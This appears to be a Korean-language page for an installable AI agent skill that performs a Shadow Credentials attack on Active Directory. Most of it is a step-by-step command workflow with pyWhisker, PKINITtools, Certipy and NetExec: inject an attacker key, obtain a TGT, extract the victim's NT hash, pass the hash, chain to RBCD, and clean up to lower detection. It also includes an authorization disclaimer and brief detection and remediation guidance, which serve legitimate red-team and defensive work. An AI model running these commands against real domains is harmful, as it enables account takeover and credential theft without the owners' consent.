Communitygithub.com

Shadow Credentials를 이용한 권한 상승

공격자가 제어하는 공개키를 Active Directory 계정의 msDS-KeyCredentialLink에 기록하고 PKINIT으로 인증하여 NT 해시를 탈취, 계정 전체를 장악합니다.

Shadow Credentials를 이용한 권한 상승란 무엇인가요?

이 스킬은 Active Directory 환경에서 Shadow Credentials 공격을 통해 권한 상승을 수행하는 방법을 상세히 설명합니다. 공격자는 msDS-KeyCredentialLink 속성에 자신의 공개키를 추가한 후 PKINIT 인증으로 대상 계정의 Kerberos TGT를 요청하고, 최종적으로 NT 해시를 탈취하여 비밀번호 재설정 없이 계정 전체를 장악합니다. GenericWrite, GenericAll, WriteProperty, AddKeyCredentialLink 등 쓰기 권한이 있을 때 사용할 수 있으며, pyWhisker, Whisker, Certipy와 같은 도구를 지원합니다. 이 기술은 비밀번호 강제 변경보다 훨씬 은밀하며, 컴퓨터 계정 장악 시에는 RBCD(Resource-Based Constrained Delegation) 체인 공격으로 확장할 수 있습니다. Windows Server 2016 이상 도메인 컨트롤러에서 PKINIT이 활성화된 환경이 필요하며, 계정 권한 확인, 키 생성 및 추가, TGT 요청, NT 해시 추출, 증적 정리 및 공격 경로 문서화 단계로 구성됩니다.

지원 대상~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/abusing-shadow-credentials-for-privesc

즐겨 사용하는 AI에게 물어보기

이 에이전트 스킬이 미리 로드된 새 채팅을 엽니다.

문서

Shadow Credentials를 이용한 권한 상승은(는) 무엇을 하나요?

법적 고지: 이 스킬은 승인된 보안 테스트 및 교육 목적으로만 사용해야 합니다. Shadow Credentials는 대상 계정 전체를 장악하게 합니다. 자신이 소유하거나 명시적 서면 승인을 받은 시스템에만 사용하십시오. 무단 접근은 범죄 행위입니다.

개요

Shadow Credentials 기술은 Active Directory 사용자 및 컴퓨터 개체의 msDS-KeyCredentialLink 특성을 남용합니다. 이 특성은 Windows Hello for Business와 Azure AD 장치 등록에서 PKINIT(공개키 암호를 이용한 Kerberos 초기 인증)을 통한 무인증서 기반 로그온에 사용되는 원시 공개키("키 자격 증명")를 저장합니다. 공격자가 대상 개체의 msDS-KeyCredentialLink에 대한 쓰기 권한(일반적으로 BloodHound에 표시되는 GenericWrite, GenericAll, WriteProperty 또는 AddKeyCredentialLink ACE를 통해 부여됨)을 가지고 있으면, 자신이 생성한 공개키를 추가할 수 있습니다. 그런 다음 일치하는 개인키를 사용하여 대상에 대한 PKINIT TGT를 요청하고 대상의 NT 해시를 복구하여 비밀번호를 재설정하지 않고 완전한 계정 장악을 달성합니다. 이는 강제 비밀번호 재설정보다 훨씬 은밀합니다.

이 기술은 Elad Shamir("Shadow Credentials: Abusing Key Trust Account Mapping for Account Takeover")가 발표했으며 C# 도구 Whisker로 구현되었습니다. Python 버전 pyWhisker(ShutdownRepo)는 LDAP를 통해 특성을 조작하고, Certipy는 certipy shadow auto를 통해 전체 체인을 통합합니다. 대상 환경은 PKINIT을 지원하고 최소 하나의 Windows Server 2016 이상 도메인 컨트롤러가 있어야 합니다. 출처: pyWhisker, Whisker, The Hacker Recipes — Shadow Credentials.

사용 시기

  • BloodHound가 높은 가치의 사용자 또는 컴퓨터에 대한 GenericWrite/GenericAll/AddKeyCredentialLink를 발견했을 때
  • ForceChangePassword보다 은밀한 대안으로 사용(비밀번호 재설정 없음 = 덜 혼란/경고)
  • 컴퓨터 계정을 장악하여 리소스 기반 제약 위임(RBCD)으로 체인 공격을 수행할 때
  • 정당한 사용자를 잠그지 않고 계정 장악이 필요한 레드팀 작전 중
  • msDS-KeyCredentialLink 수정 텔레메트리를 생성하는 퍼플팀 훈련 시

전제 조건

  • Active Directory 자격 증명 접근 기술을 포함한 승인된 작업 범위
  • 대상의 msDS-KeyCredentialLink에 대한 쓰기 접근 권한이 있는 주체 제어
  • PKINIT이 활성화된 Windows Server 2016+ 도메인 컨트롤러(키 트러스트를 지원하는 도메인 기능 수준)
  • 도메인 컨트롤러의 LDAP(389/636) 및 Kerberos(88)에 네트워크 연결 가능
  • Python 3.8+가 설치된 Linux 공격 호스트; 도구 설치:
    # pyWhisker (소스에서)
    git clone https://github.com/ShutdownRepo/pywhisker
    cd pywhisker && pip install .
    # Certipy (통합 shadow 공격)
    pipx install certipy-ad
    # 수동 TGT/NT-해시 추출을 위한 PKINITtools
    git clone https://github.com/dirkjanm/PKINITtools
    

목표

  • 대상의 msDS-KeyCredentialLink에 대한 쓰기 접근 권한 확인
  • 키 쌍 생성 및 대상 개체에 키 자격 증명 추가
  • 새 키를 사용하여 대상에 대한 PKINIT TGT 요청
  • Pass-the-Hash / 추가 이동을 위해 대상의 NT 해시 복구
  • 주입된 키 자격 증명 제거하여 개체 상태 복원
  • 공격을 가능하게 한 ACL 경로를 문서화하여 수정 권장

MITRE ATT&CK 매핑

ID기술이 스킬에서의 적용
T1098.005계정 조작: 장치 등록대상 계정에 대한 대체 인증 자격 증명을 등록하기 위해 msDS-KeyCredentialLink에 공격자가 제어하는 키 자격 증명(장치 키) 기록

워크플로

단계 1: 쓰기 기본 권한 확인

대상의 기존 키 자격 증명을 나열하여 필요한 접근 권한이 있는지 확인합니다. 비어 있거나 읽을 수 있는 결과는 add 단계에 대한 쓰기 권한이 있음을 확인합니다.

python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \
    --target "victim" --action "list"

단계 2: pyWhisker로 Shadow Credential 추가

인증서/키 쌍을 생성하고 대상의 msDS-KeyCredentialLink에 기록합니다. pyWhisker는 사용자가 제어하는 PFX를 출력합니다.

python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \
    --target "victim" --action "add" --filename victim_shadow
# victim_shadow.pfx 생성 및 PFX 비밀번호 출력

티켓만 있는 경우 비밀번호 대신 Kerberos 인증 사용:

python3 pywhisker.py -d "corp.local" -u "attacker" -k --no-pass \
    --target "victim" --action "add" --filename victim_shadow --use-ldaps

단계 3: PKINIT을 통해 TGT 요청

생성된 PFX를 PKINITtools와 함께 사용하여 대상에 대한 Kerberos TGT를 획득합니다.

python3 PKINITtools/gettgtpkinit.py \
    -cert-pfx victim_shadow.pfx -pfx-pass <PFX_PASSWORD> \
    corp.local/victim victim.ccache

단계 4: NT 해시 복구

3단계의 세션 키를 사용하여 AS-REP에서 대상의 NT 해시를 추출합니다(getnthash.py는 gettgtpkinit.py가 표시한 AS-REP 암호화 키를 읽습니다).

export KRB5CCNAME=victim.ccache
python3 PKINITtools/getnthash.py -key <AS-REP-KEY-FROM-STEP-3> corp.local/victim
# 'victim'의 NT 해시 출력

단계 5: Certipy를 사용한 원샷 대안

Certipy의 shadow auto는 추가 → PKINIT → 해시 덤프 → 정리를 자동으로 수행하므로 컴퓨터 계정 장악에 이상적입니다.

certipy shadow auto -u '[email protected]' -p 'Passw0rd!' \
    -dc-ip 10.0.0.100 -account 'victim'
# 컴퓨터 계정의 경우, trailing $가 있는 sAMAccountName 사용
certipy shadow auto -u '[email protected]' -p 'Passw0rd!' \
    -dc-ip 10.0.0.100 -account 'WS01$'

단계 6: 복구된 자격 증명 사용

NT 해시(또는 TGT)로 인증하여 작업을 계속합니다.

# NetExec로 Pass-the-Hash
nxc smb 10.0.0.10 -u victim -H <RECOVERED-NT-HASH>
# 또는 TGT 직접 사용
export KRB5CCNAME=victim.ccache
nxc smb dc.corp.local -u victim --use-kcache

단계 7: 컴퓨터 장악을 RBCD로 체인 공격(선택 사항)

대상이 컴퓨터인 경우, 복구된 키/해시를 사용하여 리소스 기반 제약 위임을 구성하여 해당 호스트에 대한 모든 사용자를 가장할 수 있습니다.

# 공격자가 제어하는 SPN이 WS01$에 대해 가장할 수 있도록 RBCD 설정
impacket-rbcd -delegate-from 'attacker$' -delegate-to 'WS01$' \
    -action write 'corp.local/attacker:Passw0rd!'

단계 8: 정리

주입된 키 자격 증명을 제거하여 개체를 복원하고 탐지 범위를 줄입니다.

# pyWhisker: device-id로 제거(add 시 출력됨) 또는 추가한 모든 것 제거
python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \
    --target "victim" --action "remove" --device-id <DEVICE-ID>
# Certipy shadow auto는 자동으로 정리; 그렇지 않으면:
certipy shadow clear -u '[email protected]' -p 'Passw0rd!' \
    -dc-ip 10.0.0.100 -account 'victim'

도구 및 리소스

리소스용도링크
pyWhiskermsDS-KeyCredentialLink Python LDAP 조작https://github.com/ShutdownRepo/pywhisker
Whisker원본 C# 구현https://github.com/eladshamir/Whisker
Certipyshadow auto 종단간 장악https://github.com/ly4k/Certipy
PKINITtoolsgettgtpkinit / getnthashhttps://github.com/dirkjanm/PKINITtools
The Hacker Recipes기술 워크스루 및 방어https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials

탐지 및 수정 참고 사항

영역지침
탐지Windows 보안 이벤트 ID 5136(디렉터리 개체 수정)을 모니터링하여 msDS-KeyCredentialLink 변경 감지; 비 AD Connect/비 Intune 주체가 특성을 기록할 때 경고
감사사용자/컴퓨터 OU에 디렉터리 서비스 개체 변경 감사 활성화
최소 권한불필요한 GenericWrite/GenericAll/AddKeyCredentialLink ACE 제거(BloodHound AddKeyCredentialLink 에지)
완화Windows Hello/장치 등록을 사용하지 않는 경우, 키 자격 증명을 쓸 수 있는 사람을 제한하고 계층 0 보호 계정을 고려

검증 기준

  • 대상의 msDS-KeyCredentialLink에 대한 쓰기 접근 권한 확인(list 성공)
  • 키 자격 증명이 성공적으로 추가됨(PFX 생성)
  • 대상 계정에 대한 PKINIT TGT 획득
  • 대상 NT 해시 복구 및 서비스에 대해 검증
  • (컴퓨터인 경우) RBCD 체인 또는 추가 이동 시연
  • 주입된 키 자격 증명 제거 / 개체 복원
  • 공격 가능하게 한 ACL 경로 문서화 및 수정 권장 사항 포함

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

abusing-dpapi-for-credential-access

Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket

achieving-cmmc-level-2-compliance

>-

acquiring-disk-image-with-dd-and-dcfldd

Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.

analyzing-active-directory-acl-abuse

Detect dangerous ACL misconfigurations in Active Directory using ldap3

analyzing-android-malware-with-apktool

Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.

analyzing-api-gateway-access-logs

Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect

analyzing-apt-group-with-mitre-navigator

Query ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups

analyzing-azure-activity-logs-for-threats

Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query

analyzing-bootkit-and-rootkit-samples

Analyzes bootkit and advanced rootkit malware infecting the Master

analyzing-browser-forensics-with-hindsight

Parse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user

analyzing-campaign-attribution-evidence

Systematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.

analyzing-certificate-transparency-for-phishing

Monitor Certificate Transparency logs using crt.sh and Certstream to

analyzing-cloud-storage-access-patterns

Detect abnormal access in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics for after-hours bulk downloads, new-IP access, and API-call spikes (e.g. GetObject) via statistical baselines and time-series anomaly detection. Use when investigating suspected cloud data exfiltration or building related detection rules.

analyzing-cobalt-strike-beacon-configuration

Extract and analyze Cobalt Strike beacon configuration from PE files

analyzing-cobaltstrike-malleable-c2-profiles

Parse and analyze Cobalt Strike Malleable C2 profiles with dissect.cobaltstrike (profiles and beacon-payload configs) and pyMalleableC2 (AST parsing) to extract HTTP/DNS transforms, URIs, headers, sleep/jitter, and injection behavior, then generate network detection signatures. Use when reverse-engineering a captured malleable profile or building detections against Cobalt Strike Beacon traffic.

analyzing-command-and-control-communication

Analyzes malware C2 communication over HTTP, HTTPS, DNS, and custom

analyzing-cyber-kill-chain

Analyzes intrusion activity against the Lockheed Martin Cyber Kill Chain

analyzing-disk-image-with-autopsy

Perform comprehensive forensic analysis of raw (dd), E01, or AFF disk images with Autopsy and The Sleuth Kit, recovering deleted files, examining metadata and embedded artifacts, keyword searching, and building investigation timelines with visual reports. Use for structured analysis of a forensic disk image or when stakeholders need visual reports from evidence.

analyzing-dns-logs-for-exfiltration

Analyzes DNS query logs to detect data exfiltration via DNS tunneling,

analyzing-docker-container-forensics

Investigate compromised Docker containers by analyzing images, layers,

관련 스킬